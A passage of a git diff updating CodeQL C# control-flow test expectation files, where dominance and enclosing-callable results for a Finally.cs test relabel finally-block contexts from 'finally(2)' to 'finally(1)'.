Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(1): exception(Exception)] object creation of type ExceptionC | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(1): exception(Exception)] object creation of type ExceptionC | +| Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(1): exception(ExceptionB)] object creation of type ExceptionC | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(1): exception(ExceptionB)] object creation of type ExceptionC | | Finally.cs:209:31:209:46 | [finally: exception(Exception)] object creation of type ExceptionC | Finally.cs:209:31:209:46 | [finally: exception(Exception)] object creation of type ExceptionC | -| Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(2): exception(Exception)] object creation of type ExceptionC | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(2): exception(Exception)] object creation of type ExceptionC | -| Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] object creation of type ExceptionC | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] object creation of type ExceptionC | +| Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(1): exception(Exception)] object creation of type ExceptionC | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(1): exception(Exception)] object creation of type ExceptionC | +| Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] object creation of type ExceptionC | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] object creation of type ExceptionC | | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA)] object creation of type ExceptionC | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA)] object creation of type ExceptionC | | Finally.cs:209:31:209:46 | object creation of type ExceptionC | Finally.cs:209:31:209:46 | object creation of type ExceptionC | | Finally.cs:211:13:211:29 | ...; | Finally.cs:211:13:211:29 | ...; | @@ -10945,10 +10945,10 @@ blockDominance | Finally.cs:233:10:233:12 | enter M12 | Finally.cs:247:31:247:46 | [finally: exception(Exception)] object creation of type ExceptionA | | Finally.cs:233:10:233:12 | enter M12 | Finally.cs:247:31:247:46 | [finally: exception(ExceptionA)] object creation of type ExceptionA | | Finally.cs:233:10:233:12 | enter M12 | Finally.cs:247:31:247:46 | object creation of type ExceptionA | -| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:250:17:252:17 | [finally(2): exception(Exception)] {...} | -| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:250:17:252:17 | [finally(1): exception(Exception)] {...} | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(1): exception(Exception)] {...} | | Finally.cs:233:10:233:12 | enter M12 | Finally.cs:250:17:252:17 | [finally: exception(Exception)] {...} | -| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(1): exception(Exception)] {...} | | Finally.cs:233:10:233:12 | enter M12 | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA)] {...} | | Finally.cs:233:10:233:12 | enter M12 | Finally.cs:250:17:252:17 | {...} | | Finally.cs:233:10:233:12 | enter M12 | Finally.cs:254:13:254:44 | call to method WriteLine | @@ -10961,7 +10961,7 @@ blockDominance | Finally.cs:240:21:240:43 | throw ...; | Finally.cs:240:21:240:43 | throw ...; | | Finally.cs:240:21:240:43 | throw ...; | Finally.cs:247:25:247:47 | [finally: exception(ExceptionA)] throw ...; | | Finally.cs:240:21:240:43 | throw ...; | Finally.cs:247:31:247:46 | [finally: exception(ExceptionA)] object creation of type ExceptionA | -| Finally.cs:240:21:240:43 | throw ...; | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | +| Finally.cs:240:21:240:43 | throw ...; | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(1): exception(Exception)] {...} | | Finally.cs:240:21:240:43 | throw ...; | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA)] {...} | | Finally.cs:240:27:240:42 | object creation of type ExceptionA | Finally.cs:240:21:240:43 | throw ...; | | Finally.cs:240:27:240:42 | object creation of type ExceptionA | Finally.cs:240:27:240:42 | object creation of type ExceptionA | @@ -10970,19 +10970,19 @@ blockDominance | Finally.cs:240:27:240:42 | object creation of type ExceptionA | Finally.cs:247:25:247:47 | [finally: exception(ExceptionA)] throw ...; | | Finally.cs:240:27:240:42 | object creation of type ExceptionA | Finally.cs:247:31:247:46 | [finally: exception(Exception)] object creation of type ExceptionA | | Finally.cs:240:27:240:42 | object creation of type ExceptionA | Finally.cs:247:31:247:46 | [finally: exception(ExceptionA)] object creation of type ExceptionA | -| Finally.cs:240:27:240:42 | object creation of type ExceptionA | Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | +| Finally.cs:240:27:240:42 | object creation of type ExceptionA | Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(1): exception(Exception)] {...} | | Finally.cs:240:27:240:42 | object creation of type ExceptionA | Finally.cs:250:17:252:17 | [finally: exception(Exception)] {...} | -| Finally.cs:240:27:240:42 | object creation of type ExceptionA | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | +| Finally.cs:240:27:240:42 | object creation of type ExceptionA | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(1): exception(Exception)] {...} | | Finally.cs:240:27:240:42 | object creation of type ExceptionA | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA)] {...} | | Finally.cs:243:13:253:13 | [finally: exception(Exception)] {...} | Finally.cs:243:13:253:13 | [finally: exception(Exception)] {...} | | Finally.cs:243:13:253:13 | [finally: exception(Exception)] {...} | Finally.cs:247:25:247:47 | [finally: exception(Exception)] throw ...; | | Finally.cs:243:13:253:13 | [finally: exception(Exception)] {...} | Finally.cs:247:31:247:46 | [finally: exception(Exception)] object creation of type ExceptionA | -| Finally.cs:243:13:253:13 | [finally: exception(Exception)] {...} | Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | +| Finally.cs:243:13:253:13 | [finally: exception(Exception)] {...} | Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(1): exception(Exception)] {...} | | Finally.cs:243:13:253:13 | [finally: exception(Exception)] {...} | Finally.cs:250:17:252:17 | [finally: exception(Exception)] {...} | | Finally.cs:243:13:253:13 | {...} | Finally.cs:243:13:253:13 | {...} | | Finally.cs:243:13:253:13 | {...} | Finally.cs:247:25:247:47 | throw ...; | | Finally.cs:243:13:253:13 | {...} | Finally.cs:247:31:247:46 | object creation of type ExceptionA | -| Finally.cs:243:13:253:13 | {...} | Finally.cs:250:17:252:17 | [finally(2): exception(Exception)] {...} | +| Finally.cs:243:13:253:13 | {...} | Finally.cs:250:17:252:17 | [finally(1): exception(Exception)] {...} | | Finally.cs:243:13:253:13 | {...} | Finally.cs:250:17:252:17 | {...} | | Finally.cs:243:13:253:13 | {...} | Finally.cs:254:13:254:44 | call to method WriteLine | | Finally.cs:243:13:253:13 | {...} | Finally.cs:257:9:259:9 | [finally: exception(OutOfMemoryException)] {...} | @@ -10992,17 +10992,17 @@ blockDominance | Finally.cs:247:25:247:47 | throw ...; | Finally.cs:247:25:247:47 | throw ...; | | Finally.cs:247:31:247:46 | [finally: exception(Exception)] object creation of type ExceptionA | Finally.cs:247:25:247:47 | [finally: exception(Exception)] throw ...; | | Finally.cs:247:31:247:46 | [finally: exception(Exception)] object creation of type ExceptionA | Finally.cs:247:31:247:46 | [finally: exception(Exception)] object creation of type ExceptionA | -| Finally.cs:247:31:247:46 | [finally: exception(Exception)] object creation of type ExceptionA | Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | +| Finally.cs:247:31:247:46 | [finally: exception(Exception)] object creation of type ExceptionA | Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(1): exception(Exception)] {...} | | Finally.cs:247:31:247:46 | [finally: exception(ExceptionA)] object creation of type ExceptionA | Finally.cs:247:25:247:47 | [finally: exception(ExceptionA)] throw ...; | | Finally.cs:247:31:247:46 | [finally: exception(ExceptionA)] object creation of type ExceptionA | Finally.cs:247:31:247:46 | [finally: exception(ExceptionA)] object creation of type ExceptionA | -| Finally.cs:247:31:247:46 | [finally: exception(ExceptionA)] object creation of type ExceptionA | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | +| Finally.cs:247:31:247:46 | [finally: exception(ExceptionA)] object creation of type ExceptionA | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(1): exception(Exception)] {...} | | Finally.cs:247:31:247:46 | object creation of type ExceptionA | Finally.cs:247:25:247:47 | throw ...; | | Finally.cs:247:31:247:46 | object creation of type ExceptionA | Finally.cs:247:31:247:46 | object creation of type ExceptionA | -| Finally.cs:247:31:247:46 | object creation of type ExceptionA | Finally.cs:250:17:252:17 | [finally(2): exception(Exception)] {...} | -| Finally.cs:250:17:252:17 | [finally(2): exception(Exception)] {...} | Finally.cs:250:17:252:17 | [finally(2): exception(Exception)] {...} | -| Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | +| Finally.cs:247:31:247:46 | object creation of type ExceptionA | Finally.cs:250:17:252:17 | [finally(1): exception(Exception)] {...} | +| Finally.cs:250:17:252:17 | [finally(1): exception(Exception)] {...} | Finally.cs:250:17:252:17 | [finally(1): exception(Exception)] {...} | +| Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(1): exception(Exception)] {...} | Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(1): exception(Exception)] {...} | | Finally.cs:250:17:252:17 | [finally: exception(Exception)] {...} | Finally.cs:250:17:252:17 | [finally: exception(Exception)] {...} | -| Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | +| Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(1): exception(Exception)] {...} | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(1): exception(Exception)] {...} | | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA)] {...} | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA)] {...} | | Finally.cs:250:17:252:17 | {...} | Finally.cs:250:17:252:17 | {...} | | Finally.cs:250:17:252:17 | {...} | Finally.cs:254:13:254:44 | call to method WriteLine | @@ -14131,14 +14131,14 @@ postBlockDominance | Finally.cs:93:31:93:45 | [finally: continue] object creation of type Exception | Finally.cs:93:31:93:45 | [finally: continue] object creation of type Exception | | Finally.cs:93:31:93:45 | [finally: return] object creation of type Exception | Finally.cs:93:31:93:45 | [finally: return] object creation of type Exception | | Finally.cs:93:31:93:45 | object creation of type Exception | Finally.cs:93:31:93:45 | object creation of type Exception | -| Finally.cs:96:17:98:17 | [finally(2): exception(Exception)] {...} | Finally.cs:96:17:98:17 | [finally(2): exception(Exception)] {...} | -| Finally.cs:96:17:98:17 | [finally: break, finally(2): exception(Exception)] {...} | Finally.cs:96:17:98:17 | [finally: break, finally(2): exception(Exception)] {...} | +| Finally.cs:96:17:98:17 | [finally(1): exception(Exception)] {...} | Finally.cs:96:17:98:17 | [finally(1): exception(Exception)] {...} | +| Finally.cs:96:17:98:17 | [finally: break, finally(1): exception(Exception)] {...} | Finally.cs:96:17:98:17 | [finally: break, finally(1): exception(Exception)] {...} | | Finally.cs:96:17:98:17 | [finally: break] {...} | Finally.cs:86:21:86:26 | break; | | Finally.cs:96:17:98:17 | [finally: break] {...} | Finally.cs:96:17:98:17 | [finally: break] {...} | -| Finally.cs:96:17:98:17 | [finally: continue, finally(2): exception(Exception)] {...} | Finally.cs:96:17:98:17 | [finally: continue, finally(2): exception(Exception)] {...} | +| Finally.cs:96:17:98:17 | [finally: continue, finally(1): exception(Exception)] {...} | Finally.cs:96:17:98:17 | [finally: continue, finally(1): exception(Exception)] {...} | | Finally.cs:96:17:98:17 | [finally: continue] {...} | Finally.cs:84:21:84:29 | continue; | | Finally.cs:96:17:98:17 | [finally: continue] {...} | Finally.cs:96:17:98:17 | [finally: continue] {...} | -| Finally.cs:96:17:98:17 | [finally: return, finally(2): exception(Exception)] {...} | Finally.cs:96:17:98:17 | [finally: return, finally(2): exception(Exception)] {...} | +| Finally.cs:96:17:98:17 | [finally: return, finally(1): exception(Exception)] {...} | Finally.cs:96:17:98:17 | [finally: return, finally(1): exception(Exception)] {...} | | Finally.cs:96:17:98:17 | [finally: return] {...} | Finally.cs:82:21:82:27 | return ...; | | Finally.cs:96:17:98:17 | [finally: return] {...} | Finally.cs:96:17:98:17 | [finally: return] {...} | | Finally.cs:96:17:98:17 | {...} | Finally.cs:89:13:99:13 | {...} | @@ -14354,21 +14354,21 @@ postBlockDominance | Finally.cs:205:31:205:46 | [finally: exception(Exception)] object creation of type ExceptionB | Finally.cs:205:31:205:46 | [finally: exception(Exception)] object creation of type ExceptionB | | Finally.cs:205:31:205:46 | [finally: exception(ExceptionA)] object creation of type ExceptionB | Finally.cs:205:31:205:46 | [finally: exception(ExceptionA)] object creation of type ExceptionB | | Finally.cs:205:31:205:46 | object creation of type ExceptionB | Finally.cs:205:31:205:46 | object creation of type ExceptionB | -| Finally.cs:208:13:210:13 | [finally(2): exception(Exception)] {...} | Finally.cs:208:13:210:13 | [finally(2): exception(Exception)] {...} | -| Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | +| Finally.cs:208:13:210:13 | [finally(1): exception(Exception)] {...} | Finally.cs:208:13:210:13 | [finally(1): exception(Exception)] {...} | +| Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(1): exception(Exception)] {...} | Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(1): exception(Exception)] {...} | | Finally.cs:208:13:210:13 | [finally: exception(Exception)] {...} | Finally.cs:208:13:210:13 | [finally: exception(Exception)] {...} | -| Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | +| Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(1): exception(Exception)] {...} | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(1): exception(Exception)] {...} | | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA)] {...} | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA)] {...} | | Finally.cs:208:13:210:13 | {...} | Finally.cs:195:10:195:12 | enter M10 | | Finally.cs:208:13:210:13 | {...} | Finally.cs:202:9:212:9 | {...} | | Finally.cs:208:13:210:13 | {...} | Finally.cs:208:13:210:13 | {...} | -| Finally.cs:209:31:209:46 | [finally(2): exception(Exception)] object creation of type ExceptionC | Finally.cs:209:31:209:46 | [finally(2): exception(Exception)] object creation of type ExceptionC | -| Finally.cs:209:31:209:46 | [finally(2): exception(ExceptionB)] object creation of type ExceptionC | Finally.cs:209:31:209:46 | [finally(2): exception(ExceptionB)] object creation of type ExceptionC | -| Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(2): exception(Exception)] object creation of type ExceptionC | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(2): exception(Exception)] object creation of type ExceptionC | -| Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(2): exception(ExceptionB)] object creation of type ExceptionC | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(2): exception(ExceptionB)] object creation of type ExceptionC | +| Finally.cs:209:31:209:46 | [finally(1): exception(Exception)] object creation of type ExceptionC | Finally.cs:209:31:209:46 | [finally(1): exception(Exception)] object creation of type ExceptionC | +| Finally.cs:209:31:209:46 | [finally(1): exception(ExceptionB)] object creation of type ExceptionC | Finally.cs:209:31:209:46 | [finally(1): exception(ExceptionB)] object creation of type ExceptionC | +| Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(1): exception(Exception)] object creation of type ExceptionC | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(1): exception(Exception)] object creation of type ExceptionC | +| Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(1): exception(ExceptionB)] object creation of type ExceptionC | Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(1): exception(ExceptionB)] object creation of type ExceptionC | | Finally.cs:209:31:209:46 | [finally: exception(Exception)] object creation of type ExceptionC | Finally.cs:209:31:209:46 | [finally: exception(Exception)] object creation of type ExceptionC | -| Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(2): exception(Exception)] object creation of type ExceptionC | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(2): exception(Exception)] object creation of type ExceptionC | -| Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] object creation of type ExceptionC | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] object creation of type ExceptionC | +| Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(1): exception(Exception)] object creation of type ExceptionC | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(1): exception(Exception)] object creation of type ExceptionC | +| Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] object creation of type ExceptionC | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] object creation of type ExceptionC | | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA)] object creation of type ExceptionC | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA)] object creation of type ExceptionC | | Finally.cs:209:31:209:46 | object creation of type ExceptionC | Finally.cs:209:31:209:46 | object creation of type ExceptionC | | Finally.cs:211:13:211:29 | ...; | Finally.cs:195:10:195:12 | enter M10 | @@ -14398,10 +14398,10 @@ postBlockDominance | Finally.cs:247:31:247:46 | [finally: exception(Exception)] object creation of type ExceptionA | Finally.cs:247:31:247:46 | [finally: exception(Exception)] object creation of type ExceptionA | | Finally.cs:247:31:247:46 | [finally: exception(ExceptionA)] object creation of type ExceptionA | Finally.cs:247:31:247:46 | [finally: exception(ExceptionA)] object creation of type ExceptionA | | Finally.cs:247:31:247:46 | object creation of type ExceptionA | Finally.cs:247:31:247:46 | object creation of type ExceptionA | -| Finally.cs:250:17:252:17 | [finally(2): exception(Exception)] {...} | Finally.cs:250:17:252:17 | [finally(2): exception(Exception)] {...} | -| Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | +| Finally.cs:250:17:252:17 | [finally(1): exception(Exception)] {...} | Finally.cs:250:17:252:17 | [finally(1): exception(Exception)] {...} | +| Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(1): exception(Exception)] {...} | Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(1): exception(Exception)] {...} | | Finally.cs:250:17:252:17 | [finally: exception(Exception)] {...} | Finally.cs:250:17:252:17 | [finally: exception(Exception)] {...} | -| Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | +| Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(1): exception(Exception)] {...} | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(1): exception(Exception)] {...} | | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA)] {...} | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA)] {...} | | Finally.cs:250:17:252:17 | {...} | Finally.cs:233:10:233:12 | enter M12 | | Finally.cs:250:17:252:17 | {...} | Finally.cs:243:13:253:13 | {...} | diff --git a/csharp/ql/test/library-tests/controlflow/graph/EnclosingCallable.expected b/csharp/ql/test/library-tests/controlflow/graph/EnclosingCallable.expected index 1abb3cc8a4c..9803e2dec8d 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/EnclosingCallable.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/EnclosingCallable.expected @@ -2006,37 +2006,37 @@ nodeEnclosing | Finally.cs:93:31:93:45 | [finally: continue] object creation of type Exception | Finally.cs:74:10:74:11 | M4 | | Finally.cs:93:31:93:45 | [finally: return] object creation of type Exception | Finally.cs:74:10:74:11 | M4 | | Finally.cs:93:31:93:45 | object creation of type Exception | Finally.cs:74:10:74:11 | M4 | -| Finally.cs:96:17:98:17 | [finally(2): exception(Exception)] {...} | Finally.cs:74:10:74:11 | M4 | -| Finally.cs:96:17:98:17 | [finally: break, finally(2): exception(Exception)] {...} | Finally.cs:74:10:74:11 | M4 | +| Finally.cs:96:17:98:17 | [finally(1): exception(Exception)] {...} | Finally.cs:74:10:74:11 | M4 | +| Finally.cs:96:17:98:17 | [finally: break, finally(1): exception(Exception)] {...} | Finally.cs:74:10:74:11 | M4 | | Finally.cs:96:17:98:17 | [finally: break] {...} | Finally.cs:74:10:74:11 | M4 | -| Finally.cs:96:17:98:17 | [finally: continue, finally(2): exception(Exception)] {...} | Finally.cs:74:10:74:11 | M4 | +| Finally.cs:96:17:98:17 | [finally: continue, finally(1): exception(Exception)] {...} | Finally.cs:74:10:74:11 | M4 | | Finally.cs:96:17:98:17 | [finally: continue] {...} | Finally.cs:74:10:74:11 | M4 | -| Finally.cs:96:17:98:17 | [finally: return, finally(2): exception(Exception)] {...} | Finally.cs:74:10:74:11 | M4 | +| Finally.cs:96:17:98:17 | [finally: return, finally(1): exception(Exception)] {...} | Finally.cs:74:10:74:11 | M4 | | Finally.cs:96:17:98:17 | [finally: return] {...} | Finally.cs:74:10:74:11 | M4 | | Finally.cs:96:17:98:17 | {...} | Finally.cs:74:10:74:11 | M4 | -| Finally.cs:97:21:97:21 | [finally(2): exception(Exception)] access to local variable i | Finally.cs:74:10:74:11 | M4 | -| Finally.cs:97:21:97:21 | [finally: break, finally(2): exception(Exception)] access to local variable i | Finally.cs:74:10:74:11 | M4 | +| Finally.cs:97:21:97:21 | [finally(1): exception(Exception)] access to local variable i | Finally.cs:74:10:74:11 | M4 | +| Finally.cs:97:21:97:21 | [finally: break, finally(1): exception(Exception)] access to local variable i | Finally.cs:74:10:74:11 | M4 | | Finally.cs:97:21:97:21 | [finally: break] access to local variable i | Finally.cs:74:10:74:11 | M4 | -| Finally.cs:97:21:97:21 | [finally: continue, finally(2): exception(Exception)] access to local variable i | Finally.cs:74:10:74:11 | M4 | +| Finally.cs:97:21:97:21 | [finally: continue, finally(1): exception(Exception)] access to local variable i | Finally.cs:74:10:74:11 | M4 | | Finally.cs:97:21:97:21 | [finally: continue] access to local variable i | Finally.cs:74:10:74:11 | M4 | -| Finally.cs:97:21:97:21 | [finally: return, finally(2): exception(Exception)] access to local variable i | Finally.cs:74:10:74:11 | M4 | +| Finally.cs:97:21:97:21 | [finally: return, finally(1): exception(Exception)] access to local variable i | Finally.cs:74:10:74:11 | M4 | | Finally.cs:97:21:97:21 | [finally: return] access to local variable i | Finally.cs:74:10:74:11 | M4 | | Finally.cs:97:21:97:21 | access to local variable i | Finally.cs:74:10:74:11 | M4 | | Finally.cs:97:21:97:23 | ...-- | Finally.cs:74:10:74:11 | M4 | -| Finally.cs:97:21:97:23 | [finally(2): exception(Exception)] ...-- | Finally.cs:74:10:74:11 | M4 | -| Finally.cs:97:21:97:23 | [finally: break, finally(2): exception(Exception)] ...-- | Finally.cs:74:10:74:11 | M4 | +| Finally.cs:97:21:97:23 | [finally(1): exception(Exception)] ...-- | Finally.cs:74:10:74:11 | M4 | +| Finally.cs:97:21:97:23 | [finally: break, finally(1): exception(Exception)] ...-- | Finally.cs:74:10:74:11 | M4 | | Finally.cs:97:21:97:23 | [finally: break] ...-- | Finally.cs:74:10:74:11 | M4 | -| Finally.cs:97:21:97:23 | [finally: continue, finally(2): exception(Exception)] ...-- | Finally.cs:74:10:74:11 | M4 | +| Finally.cs:97:21:97:23 | [finally: continue, finally(1): exception(Exception)] ...-- | Finally.cs:74:10:74:11 | M4 | | Finally.cs:97:21:97:23 | [finally: continue] ...-- | Finally.cs:74:10:74:11 | M4 | -| Finally.cs:97:21:97:23 | [finally: return, finally(2): exception(Exception)] ...-- | Finally.cs:74:10:74:11 | M4 | +| Finally.cs:97:21:97:23 | [finally: return, finally(1): exception(Exception)] ...-- | Finally.cs:74:10:74:11 | M4 | | Finally.cs:97:21:97:23 | [finally: return] ...-- | Finally.cs:74:10:74:11 | M4 | | Finally.cs:97:21:97:24 | ...; | Finally.cs:74:10:74:11 | M4 | -| Finally.cs:97:21:97:24 | [finally(2): exception(Exception)] ...; | Finally.cs:74:10:74:11 | M4 | -| Finally.cs:97:21:97:24 | [finally: break, finally(2): exception(Exception)] ...; | Finally.cs:74:10:74:11 | M4 | +| Finally.cs:97:21:97:24 | [finally(1): exception(Exception)] ...; | Finally.cs:74:10:74:11 | M4 | +| Finally.cs:97:21:97:24 | [finally: break, finally(1): exception(Exception)] ...; | Finally.cs:74:10:74:11 | M4 | | Finally.cs:97:21:97:24 | [finally: break] ...; | Finally.cs:74:10:74:11 | M4 | -| Finally.cs:97:21:97:24 | [finally: continue, finally(2): exception(Exception)] ...; | Finally.cs:74:10:74:11 | M4 | +| Finally.cs:97:21:97:24 | [finally: continue, finally(1): exception(Exception)] ...; | Finally.cs:74:10:74:11 | M4 | | Finally.cs:97:21:97:24 | [finally: continue] ...; | Finally.cs:74:10:74:11 | M4 | -| Finally.cs:97:21:97:24 | [finally: return, finally(2): exception(Exception)] ...; | Finally.cs:74:10:74:11 | M4 | +| Finally.cs:97:21:97:24 | [finally: return, finally(1): exception(Exception)] ...; | Finally.cs:74:10:74:11 | M4 | | Finally.cs:97:21:97:24 | [finally: return] ...; | Finally.cs:74:10:74:11 | M4 | | Finally.cs:103:10:103:11 | enter M5 | Finally.cs:103:10:103:11 | M5 | | Finally.cs:103:10:103:11 | exit M5 | Finally.cs:103:10:103:11 | M5 | @@ -2425,49 +2425,49 @@ nodeEnclosing | Finally.cs:205:31:205:46 | [finally: exception(Exception)] object creation of type ExceptionB | Finally.cs:195:10:195:12 | M10 | | Finally.cs:205:31:205:46 | [finally: exception(ExceptionA)] object creation of type ExceptionB | Finally.cs:195:10:195:12 | M10 | | Finally.cs:205:31:205:46 | object creation of type ExceptionB | Finally.cs:195:10:195:12 | M10 | -| Finally.cs:208:13:210:13 | [finally(2): exception(Exception)] {...} | Finally.cs:195:10:195:12 | M10 | -| Finally.cs:208:13:210:13 | [finally(2): exception(ExceptionB)] {...} | Finally.cs:195:10:195:12 | M10 | -| Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | Finally.cs:195:10:195:12 | M10 | -| Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(2): exception(ExceptionB)] {...} | Finally.cs:195:10:195:12 | M10 | +| Finally.cs:208:13:210:13 | [finally(1): exception(Exception)] {...} | Finally.cs:195:10:195:12 | M10 | +| Finally.cs:208:13:210:13 | [finally(1): exception(ExceptionB)] {...} | Finally.cs:195:10:195:12 | M10 | +| Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(1): exception(Exception)] {...} | Finally.cs:195:10:195:12 | M10 | +| Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(1): exception(ExceptionB)] {...} | Finally.cs:195:10:195:12 | M10 | | Finally.cs:208:13:210:13 | [finally: exception(Exception)] {...} | Finally.cs:195:10:195:12 | M10 | -| Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | Finally.cs:195:10:195:12 | M10 | -| Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] {...} | Finally.cs:195:10:195:12 | M10 | +| Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(1): exception(Exception)] {...} | Finally.cs:195:10:195:12 | M10 | +| Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] {...} | Finally.cs:195:10:195:12 | M10 | | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA)] {...} | Finally.cs:195:10:195:12 | M10 | | Finally.cs:208:13:210:13 | {...} | Finally.cs:195:10:195:12 | M10 | -| Finally.cs:209:17:209:47 | [finally(2): exception(Exception)] if (...) ... | Finally.cs:195:10:195:12 | M10 | -| Finally.cs:209:17:209:47 | [finally(2): exception(ExceptionB)] if (...) ... | Finally.cs:195:10:195:12 | M10 | -| Finally.cs:209:17:209:47 | [finally: exception(Exception), finally(2): exception(Exception)] if (...) ... | Finally.cs:195:10:195:12 | M10 | -| Finally.cs:209:17:209:47 | [finally: exception(Exception), finally(2): exception(ExceptionB)] if (...) ... | Finally.cs:195:10:195:12 | M10 | +| Finally.cs:209:17:209:47 | [finally(1): exception(Exception)] if (...) ... | Finally.cs:195:10:195:12 | M10 | +| Finally.cs:209:17:209:47 | [finally(1): exception(ExceptionB)] if (...) ... | Finally.cs:195:10:195:12 | M10 | +| Finally.cs:209:17:209:47 | [finally: exception(Exception), finally(1): exception(Exception)] if (...) ... | Finally.cs:195:10:195:12 | M10 | +| Finally.cs:209:17:209:47 | [finally: exception(Exception), finally(1): exception(ExceptionB)] if (...) ... | Finally.cs:195:10:195:12 | M10 | | Finally.cs:209:17:209:47 | [finally: exception(Exception)] if (...) ... | Finally.cs:195:10:195:12 | M10 | -| 